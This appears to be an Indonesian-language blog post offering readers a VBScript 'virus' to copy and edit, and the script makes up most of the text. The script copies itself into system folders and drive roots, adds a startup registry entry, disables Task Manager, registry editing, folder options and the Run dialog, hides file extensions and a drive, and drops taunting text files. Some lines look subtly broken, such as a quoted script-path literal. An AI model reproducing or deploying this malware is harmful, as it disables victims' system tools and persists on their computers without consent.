agusdarlis

Assalamualaikum teman-teman malam ini saya akan membahas bagaimana cara membuat virus [dot]vbs nah di sini tempat nya yuuukkk mari kita kerjakan script melalui notepad ini yang pengen silahkan copas hasil dari perkumpulan forum saya beserta teman-teman lain nyan jangan sungkan-sungkan silahkan copas, script di bawah ini silahkan bagi yang ngerti di edit

On Error Resume Next
Dim xxx, killer, Cop1, Cop2, VirVBS, Geng, Guard1, Guard2 , Guard3
Set xxx = CreateObject("Wscript.Shell")
Set killer = CreateObject ("Scripting.FileSystemObject")
Set Cop1 = CreateObject ("Scripting.FileSystemObject")
Set Cop2 = Cop1.GetFile("WScript.ScriptFullName")
Cop2.Copy("C:\WINDOWS\531983.vbs")
Cop2.Copy("C:\xxx.vbs")
Cop2.Copy("D:\xxx.vbs")
xxx.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "C:\WINDOWS\531983.vbs"
xxx.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
xxx.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
xxx.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOption", "1", "REG_DWORD"
xxx.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
xxx.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "16", "REG_DWORD"
xxx.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoRun", "1", "REG_DWORD"
Set Guard2 = CreateObject ("Scripting.FileSystemObject")
Set Guard3= Guard2.CreateTextFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Msg.txt")
Guard3.WriteLine ("Namaku xxxkena virus")
Guard3.Close
Set VirVBS = CreateObject ("Scripting.FileSystemObject")
Set Geng= VirVBS.CreateTextFile ("C:\Documents and Settings\All Users\Desktop\Salam.txt")
Geng.WriteLine ("NamakuSyndromBaruAkuDatangSebagaiTemanmuAkuAkanMenyimpanSemuaRahasiamuAkuTemanYangBaikKan...!")
Geng.WriteLine ("kena virus")
Geng.Close
Set Guard = WScript.CreateObject ("WScript.Shell")
Guard.Run ("C:\WINDOWS\531983.vbs")